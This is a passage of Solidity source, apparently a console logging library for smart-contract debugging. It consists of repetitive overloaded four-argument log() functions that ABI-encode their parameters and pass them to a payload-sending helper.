_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { 